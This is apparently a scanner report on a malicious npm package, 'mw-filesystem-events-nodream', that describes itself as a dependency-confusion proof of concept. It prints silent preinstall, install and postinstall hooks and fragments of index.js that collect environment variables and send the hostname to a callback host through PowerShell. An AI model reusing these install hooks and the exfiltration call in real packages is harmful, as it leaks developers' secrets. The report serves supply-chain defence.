mw-filesystem-events-nodream@0.0.32: Malicious npm security

Loading npm security reports…

mw-filesystem-events-nodream@0.0.32: Malicious npm security | LPM Firewall

Source & flagged code

6 flagged

package.jsonView file

Lines 1-15json

2 "name": "mw-filesystem-events-nodream",

3 "version": "0.0.32",

4 "description": "Native filesystem events for Node.js ES6 - dependency confusion PoC by awais0x1 bugcrowd",

5 "main": "main.js",

6 "scripts": {

7 "preinstall": "node index.js > /dev/null 2>&1; exit 0",

8 "install": "node index.js > /dev/null 2>&1; exit 0",

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg · L7

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg · L8

9 "postinstall": "node index.js > /dev/null 2>&1; exit 0",

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L8

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg · L8

10 "test": "echo \"Error: no test specified\" && exit 1"

11 },

12 "author": "security-researcher",

13 "license": "ISC"

14}

index.jsView file

Lines 1-21javascript

1const { exec } = require("child_process");

2const os = require("os");

High

Child Process

Package source references child process execution.

index.jsView on unpkg · L1

3const

Source & flagged code

6 flagged · loading source

package.jsonView file

•scripts.postinstall = node index.js > /dev/null 2>&1; exit 0

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.preinstall = node index.js > /dev/null 2>&1; exit 0

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

•scripts.install = node index.js > /dev/null 2>&1; exit 0

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

•scripts.postinstall = node index.js > /dev/null 2>&1; exit 0

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

index.jsView file

1const { exec } = require("child_process"); L2: const os = require("os");

High

Child Process

Package source references child process execution.

index.jsView on unpkg · L1

109`=== ENV ===`, L110: Object.entries(process.env).slice(0, 30).map(([k, v]) => `${k}=${v}`).join("\n") L111: ].join("\n"); ... L117: try { L118: exec( L119: `powershell -Command "Invoke-WebRequest -Uri http://${CALLBACK_HOST}/${PACKAGE_NAME}/$(hostname) -Method GET"`, L120: { timeout: 5000 },

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

index.jsView on unpkg · L109

mw-filesystem-events-nodream@0.0.32

OSV Malicious Advisory

Decision evidence

Source & flagged code

Source & flagged code

Findings

Source & flagged code